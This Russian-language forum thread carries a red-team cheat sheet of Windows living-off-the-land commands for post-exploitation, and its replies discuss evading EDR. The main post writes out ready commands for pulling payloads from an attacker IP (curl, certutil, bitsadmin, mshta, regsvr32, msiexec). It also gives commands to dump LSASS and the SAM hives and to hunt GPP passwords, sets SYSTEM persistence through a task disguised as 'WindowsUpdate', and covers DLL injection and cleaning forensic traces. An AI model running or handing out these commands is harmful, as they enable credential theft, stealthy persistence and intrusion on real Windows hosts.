PDA

Просмотр полной версии : LOLBAS шпаргалка: команды пост-эксплуатации Windows без сторонних инструментов


Sergei webware
21.04.2026, 14:25
https://forum.antichat.xyz/attachments/4951652/89707676.png

Справочник для red team операторов и пентестеров, у которых EDR (CrowdStrike Falcon, Defender for Endpoint) прибил весь привычный инструментарий, а доступ к cmd/PowerShell от непривилегированного пользователя - есть. Windows 10/Server 2016+, AppLocker с дефолтными правилами. Знакомая ситуация?

Суть простая: зачем тащить на хост что-то своё, если в самой винде лежит полный набор для загрузки, выполнения и закрепления? Microsoft сама положила всё нужное - мы просто пользуемся - полную карту техник с разбором обхода EDR и пост-эксплуатации собрал в руководстве по living off the land атакам Windows (https://forum.antichat.xyz/threads/592849/).

Где не сработает: системы с WDAC в enforce-режиме с кастомными политиками - часть техник не пройдёт. На Server Core без GUI

mshta

и

hh.exe

банально отсутствуют - проверяй перед тем, как строить цепочку.

Все команды - из официального проекта LOLBAS. ATT&CK-маппинг указан для каждой техники.
Основные команды

КомандаФлаги / параметрыНазначение / ATT&CK

certutil.exe



-urlcache -split -f http://IP/file.exe C:\Temp\file.exe

Загрузка файла (wget-замена). T1105, T1564.004. Детектируется почти всеми EDR - в 2024+ это ловушка, а не инструмент

certutil.exe



-encode file.exe file.b64

/

-decode file.b64 file.exe

Base64 encode/decode пейлоада. T1027.013, T1140, T1564.004

bitsadmin.exe



/create job1 && bitsadmin /addfile job1 http://IP/f.exe C:\Temp\f.exe && bitsadmin /resume job1 && bitsadmin /complete job1

Фоновая загрузка через BITS. T1105, T1218, T1564.004. Работает даже при ограниченном outbound

mshta.exe



http://IP/payload.hta

Выполнение удалённого HTA (VBScript/JScript). T1218.005, T1105. Обходит AppLocker по умолчанию

regsvr32.exe



/s /n /u /i:http://IP/file.sct scrobj.dll

Squiblydoo - загрузка и выполнение SCT-скриптлета. T1218.010. Обход AppLocker

rundll32.exe



C:\windows\system32\comsvcs.dll, MiniDump C:\Temp\lsass.dmp full

Дамп LSASS без Mimikatz. T1218.011, T1564.004; T1003.001 (credential access). Требует SeDebugPrivilege

msiexec.exe



/q /i http://IP/payload.msi

Тихая установка MSI с удалённого URL. T1218.007

wmic.exe



process call create "cmd /c whoami > C:\Temp\out.txt"

Выполнение команды через WMI. T1047. По LOLBAS: T1105, T1218, T1564.004

schtasks.exe



/create /tn "Update" /tr "cmd /c payload.exe" /sc onlogon /ru SYSTEM

Persistence через задачу планировщика. T1053.005

msbuild.exe



C:\Temp\payload.csproj

Компиляция и выполнение C# inline. T1127.001, T1036. Обход AppLocker

InstallUtil.exe



C:\Windows\Microsoft.NET\Framework64\v4.0.30319\In stallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\payload.dll

Выполнение .NET assembly через Uninstall-метод (payload с классом

[RunInstaller(true)]

, унаследованным от

Installer

). T1218.004, T1105. Обход AppLocker. Указывать полный путь к InstallUtil и DLL

forfiles.exe



/p C:\Windows\System32 /m notepad.exe /c "cmd /c payload.exe"

Proxy-запуск через forfiles. T1202, T1564.004. Обходит parent-process мониторинг

mavinject.exe



/INJECTRUNNING payload.dll

DLL-инъекция в живой процесс. T1218.013. Использовался Mustang Panda (Earth Preta)

reg.exe



save HKLM\SAM C:\Temp\sam.bak

(+ SYSTEM, SECURITY)Дамп SAM/SYSTEM для офлайн-крека. T1003.002, T1564.004

findstr.exe



/S /I cpassword \\DC\SYSVOL\*.xml

Поиск GPP-паролей в SYSVOL. T1552.001, T1105, T1564.004

curl.exe



-o C:\Temp\file.exe http://IP/file.exe

Загрузка файла (Win10 1803+, нативный). T1105. EDR-правила на curl менее зрелые, чем на certutil

Частые сценарии
Загрузка пейлоада в обход детекта certutil


certutil -urlcache

в 2024+ - это как кричать «я здесь» в тихом офисе. Каждый уважающий себя EDR на это реагирует. Переключаемся на

curl.exe

(нативный с Win10 1803) или BITS.

Код:



curl.exe -s -o C:\Windows\Temp\update.exe http://192.168.1.100/beacon.exe


В логах появится

curl.exe

с сетевым соединением - куда менее сигнатурно. А BITS-вариант вообще работает через svchost - ещё тише. Я начинаю с curl, и только если его нет (старые билды) - иду в bitsadmin.
Дамп LSASS без Mimikatz (T1003.001)
Mimikatz заблокирован, а SeDebugPrivilege есть - классика. Используем comsvcs.dll через rundll32. Нужен elevated-контекст (High Integrity Level, не просто членство в Administrators - это частая ошибка).

Важный момент: MDE детектирует сигнатуру

rundll32 + comsvcs.dll + MiniDump

как

Behavior:Win32/LsassDump.A

ещё с 2022 года. Если на хосте MDE - этот трюк, скорее всего, уже не тихий. Для тихого дампа стоит посмотреть в сторону PPLFault или NanoDump.

Код:



rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump 672 C:\Windows\Temp\lsass.dmp full


PID lsass получаем через

tasklist /fi "imagename eq lsass.exe"

. Дамп забираем офлайн и парсим Mimikatz/pypykatz локально - на хосте ничего не крутим.
Persistence через schtasks без PowerShell (T1053.005)
PowerShell заблокирован или логируется до последней запятой - чистая cmd-persistence.

Код:



schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\beacon.exe" /sc onlogon /ru SYSTEM /f


Задача стартует от SYSTEM при логоне любого пользователя. Флаг

/f

перезаписывает существующую задачу без промпта. Имя «WindowsUpdate» - банально, но в реальном планировщике среди десятков задач теряется нормально.
Squiblydoo: обход AppLocker через regsvr32 (T1218.010)
AppLocker default rules покрывают EXE/DLL/Script/MSI, но COM-скриптлеты через scrobj.dll - мимо контроля. В этом и фокус Squiblydoo.

https://forum.antichat.xyz/attachments/4951652/1776713351774.png

Код:



regsvr32.exe /s /n /u /i:http://192.168.1.100/payload.sct scrobj.dll


SCT-файл содержит JScript/VBScript. На диск ничего не пишет. Работает потому, что AppLocker script rules покрывают только .ps1/.vbs/.js/.cmd/.bat из файловой системы. SCT-скриптлеты, подгружаемые regsvr32 через scrobj.dll из URL, под этот контроль не попадают.

Но есть нюанс (и он существенный): в WDAC с включённым Script Enforcement этот bypass не пройдёт. И большинство современных EDR уже хорошо знают эту технику -

regsvr32

с URL в аргументах = high-confidence alert. Проверяй на стенде перед боевым применением.
Gotchas & подводные камни
Тут собраны грабли, на которые наступают регулярно. Некоторые - очевидные, но именно очевидные вещи забываются в 3 часа ночи на проекте.


certutil -urlcache
- детектируется практически всеми EDR в 2024+. Последний вариант, не первый. Или для сред вообще без EDR.


rundll32

+ comsvcs MiniDump - требует

SeDebugPrivilege

и elevated-контекст (High IL). Из non-elevated cmd даже у local admin - Access Denied. MDE детектирует как

Behavior:Win32/LsassDump.A

.


mshta.exe
- отсутствует на Server Core и некоторых hardened-образах. Проверяй наличие до включения в цепочку, иначе вся атака рассыпается на первом шаге.


wmic.exe
- deprecated с Windows 10 21H1; на Windows 11 24H2+ и Server 2025 удалён из базовой поставки (доступен как Feature on Demand). На 22H2/23H2 ещё живой. На свежих системах проверяй через

wmic /?

или используй

Invoke-CimMethod

.


mavinject.exe
- целевой процесс должен уже работать (

/INJECTRUNNING

). Инъекция в PPL-процессы не пройдёт.


schtasks /ru SYSTEM
от непривилегированного пользователя - ошибка. Нужны права администратора.


msbuild.exe
- в новых версиях Windows логируется через ETW даже без Sysmon. Считай, что SOC это видит.


bitsadmin
- оставляет артефакты в

%ALLUSERSPROFILE%\Microsoft\Network\Downloader\

. Чисти:

bitsadmin /list /allusers

+

bitsadmin /cancel

. Забудешь - форензик найдёт.


findstr

по SYSVOL - работает только если GPP-пароли не удалены (MS14-025). В современных AD - редкость. В legacy-средах (а их больше, чем хочется думать) - регулярно.


regsvr32

Squiblydoo - хорошо сигнатурирован. Любой

regsvr32

с URL в аргументах = high-confidence alert в большинстве SIEM.
Quick-reference card

ЗадачаКомандаЗагрузка файла

curl.exe -o C:\Temp\f.exe http://IP/f.exe

Загрузка (альт.)

certutil -urlcache -split -f http://IP/f.exe C:\Temp\f.exe

Дамп LSASS

rundll32 comsvcs.dll, MiniDump lsass.dmp full

Выполнение .NET (Uninstall bypass)

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\In stallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\payload.dll

Persistence

schtasks /create /tn "X" /tr "payload.exe" /sc onlogon /ru SYSTEM /f

AppLocker bypass

regsvr32 /s /n /u /i:http://IP/f.sct scrobj.dll

GPP-пароли

findstr /S /I cpassword \\DC\SYSVOL\*.xml

DLL-инъекция

mavinject /INJECTRUNNING payload.dll


Вопрос к читателям
При работе с

rundll32.exe comsvcs.dll, MiniDump

для дампа LSASS - какой процесс используете как «прокси» для снижения шума в EDR-телеметрии? Часть операторов инжектируется в

svchost.exe

перед вызовом, другие работают напрямую из cmd.

Меня интересует конкретика: на каком EDR (CrowdStrike, MDE, SentinelOne) и при каком уровне политики (

detect-only

vs

prevent

) удавалось пройти тихо с прямым вызовом rundll32 без предварительного инжекта? Какой parent process в цепочке оказался наименее триггерным?

/\/\aRke/\
09.06.2026, 18:00
Честно, сомневаюсь, что в 2024 году с такими громкими вызовами типа rundll32 + comsvcs.dll вообще можно быть хоть как-то тихим на нормальных EDR. Даже с инъекцией в svchost чаще всего будет сработка, особенно на crowdstrike или MDE в режиме prevent. В detect-only, может, повезет, но надежности особой нет. Лучше сразу думать о кастомных тулзах или обходах, а не надеяться на старые техники.

eRRbios
15.06.2026, 00:50
rundll32 с comsvcs.dll — это уже классика, но в 2024 году это как палить из танка по воробьям, MDE и CrowdStrike сразу светят. Лучше не связываться просто так, иначе шум будет такой, что хост просто забанят. И да, инжект в svchost даёт чуть меньше шума, но нашу любимую тишину это не гарантирует. LOLBAS — это удобно, но не панацея.

Codomiddle
22.06.2026, 13:30
Раньше rundll32 + comsvcs.dll был почти безмятежным способом дампа LSASS, теперь же любой нормальный EDR сразу палит эту связку, особенно MDE. Инжекции в svchost чуть снижают шум, но победить их в 2024 году почти невозможно, так что лучше сразу искать другие способы без лишнего шума.

BlindGuard
06.07.2026, 13:50
rundll32 с comsvcs.dll в 2024 – это уже почти как пытаться тихо сделать салют в библиотеке, так что об инжектах в svchost говорят правильно – меньше шума, но всё равно на радаре. Пытаешься прыгнуть без инъекции – привет, алерт! В prevent-режиме даже с прокси без шансов. Так что если хочешь тихо, придётся либо кастомить, либо искать совсем новые фишки. LOLBAS устарел, бро.